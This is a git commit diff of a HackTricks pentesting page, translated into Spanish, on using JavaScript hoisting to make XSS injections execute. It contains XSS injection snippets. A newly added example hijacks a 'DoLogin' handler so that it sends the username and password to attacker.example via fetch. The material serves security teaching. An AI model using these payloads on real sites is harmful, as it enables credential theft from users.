Translated ['', 'src/pentesting-web/xss-cross-site-scripting/js-hoisting

This commit is contained in:
Translator 2025-08-28 19:19:02 +00:00
parent a3ac962a60
commit 622f74b981
2 changed files with 305 additions and 233 deletions

File diff suppressed because it is too large Load Diff

View File

@ -2,31 +2,31 @@
{{#include ../../banners/hacktricks-training.md}}
## Información Básica
## Basic Information
En el lenguaje JavaScript, se describe un mecanismo conocido como **Hoisting** donde las declaraciones de variables, funciones, clases o importaciones se elevan conceptualmente a la parte superior de su ámbito antes de que se ejecute el código. Este proceso es realizado automáticamente por el motor de JavaScript, que revisa el script en múltiples pasadas.
En el lenguaje JavaScript existe un mecanismo conocido como **Hoisting** donde las declaraciones de variables, funciones, clases o imports se conceptualizan como elevadas al inicio de su scope antes de que el código se ejecute. Este proceso lo realiza automáticamente el motor de JavaScript, que recorre el script en múltiples pasadas.
Durante la primera pasada, el motor analiza el código para verificar errores de sintaxis y lo transforma en un árbol de sintaxis abstracta. Esta fase incluye el hoisting, un proceso donde ciertas declaraciones se mueven a la parte superior del contexto de ejecución. Si la fase de análisis es exitosa, indicando que no hay errores de sintaxis, la ejecución del script continúa.
Durante la primera pasada, el engine parsea el código para verificar errores de sintaxis y lo transforma en un árbol de sintaxis abstracta. Esta fase incluye hoisting, un proceso en el que ciertas declaraciones se mueven al inicio del contexto de ejecución. Si la fase de parseo tiene éxito, indicando que no hay errores de sintaxis, se procede a la ejecución del script.
Es crucial entender que:
1. El script debe estar libre de errores de sintaxis para que la ejecución ocurra. Las reglas de sintaxis deben ser estrictamente respetadas.
2. La colocación del código dentro del script afecta la ejecución debido al hoisting, aunque el código ejecutado puede diferir de su representación textual.
1. El script debe estar libre de errores de sintaxis para que la ejecución ocurra. Se deben respetar estrictamente las reglas de sintaxis.
2. La ubicación del código dentro del script afecta la ejecución debido al hoisting, aunque el código ejecutado pueda diferir de su representación textual.
#### Tipos de Hoisting
#### Types of Hoisting
Basado en la información de MDN, hay cuatro tipos distintos de hoisting en JavaScript:
Según la información de MDN, hay cuatro tipos distintos de hoisting en JavaScript:
1. **Value Hoisting**: Permite el uso del valor de una variable dentro de su ámbito antes de su línea de declaración.
2. **Declaration Hoisting**: Permite referenciar una variable dentro de su ámbito antes de su declaración sin causar un `ReferenceError`, pero el valor de la variable será `undefined`.
3. Este tipo altera el comportamiento dentro de su ámbito debido a la declaración de la variable antes de su línea de declaración real.
1. **Value Hoisting**: Permite el uso del valor de una variable dentro de su scope antes de su línea de declaración.
2. **Declaration Hoisting**: Permite referenciar una variable dentro de su scope antes de su declaración sin causar un `ReferenceError`, pero el valor de la variable será `undefined`.
3. Este tipo altera el comportamiento dentro de su scope debido a que la declaración de la variable ocurre antes de su línea de declaración real.
4. Los efectos secundarios de la declaración ocurren antes de que se evalúe el resto del código que la contiene.
En detalle, las declaraciones de funciones exhiben un comportamiento de hoisting de tipo 1. La palabra clave `var` demuestra un comportamiento de tipo 2. Las declaraciones léxicas, que incluyen `let`, `const` y `class`, muestran un comportamiento de tipo 3. Por último, las declaraciones `import` son únicas en que se elevan con comportamientos de tipo 1 y tipo 4.
En detalle, las declaraciones de función exhiben el comportamiento de hoisting de tipo 1. La palabra clave `var` demuestra el comportamiento de tipo 2. Las declaraciones léxicas, que incluyen `let`, `const` y `class`, muestran el comportamiento de tipo 3. Por último, las sentencias `import` son únicas en que se hoistean con los comportamientos de tipo 1 y tipo 4.
## Escenarios
## Scenarios
Por lo tanto, si tienes escenarios donde puedes **Inyectar código JS después de que se use un objeto no declarado**, podrías **corregir la sintaxis** declarándolo (para que tu código se ejecute en lugar de lanzar un error):
Por lo tanto, si tienes escenarios donde puedes **Inject JS code after an undeclared object** es usado, podrías **fix the syntax** declarándolo (para que tu código se ejecute en lugar de lanzar un error):
```javascript
// The function vulnerableFunction is not defined
vulnerableFunction('test', '<INJECTION>');
@ -68,7 +68,7 @@ alert(1);
test.cookie("leo", "INJECTION")
test[("cookie", "injection")]
```
## Más Escenarios
## Más escenarios
```javascript
// Undeclared var accessing to an undeclared method
x.y(1,INJECTION)
@ -127,11 +127,31 @@ alert(1) -
},
})
}
trigger()
```
### Anticipa declaraciones posteriores bloqueando un nombre con const
Si puedes ejecutar código antes de que se analice una declaración `function foo(){...}` a nivel superior, declarar una vinculación léxica con el mismo nombre (p. ej., `const foo = ...`) impedirá que la posterior declaración de función reasigne ese identificador. Esto puede aprovecharse en RXSS para secuestrar manejadores críticos definidos más adelante en la página:
```javascript
// Malicious code runs first (e.g., earlier inline <script>)
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value)
const user = Trim(FormInput.InputUtente.value)
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd))
}
// Later, the legitimate page tries to declare:
function DoLogin(){ /* ... */ } // cannot override the existing const binding
```
Notas
- Esto se basa en el orden de ejecución y el ámbito global (nivel superior).
- Si tu payload se ejecuta dentro de `eval()`, recuerda que `const/let` dentro de `eval` tienen alcance de bloque y no crearán enlaces globales. Inyecta un nuevo elemento `<script>` con el código para establecer un verdadero `const` global.
## Referencias
- [https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios](https://jlajara.gitlab.io/Javascript_Hoisting_in_XSS_Scenarios)
- [https://developer.mozilla.org/en-US/docs/Glossary/Hoisting](https://developer.mozilla.org/en-US/docs/Glossary/Hoisting)
- [https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/](https://joaxcar.com/blog/2023/12/13/having-some-fun-with-javascript-hoisting/)
- [From "Low-Impact" RXSS to Credential Stealer: A JS-in-JS Walkthrough](https://r3verii.github.io/bugbounty/2025/08/25/rxss-credential-stealer.html)
{{#include ../../banners/hacktricks-training.md}}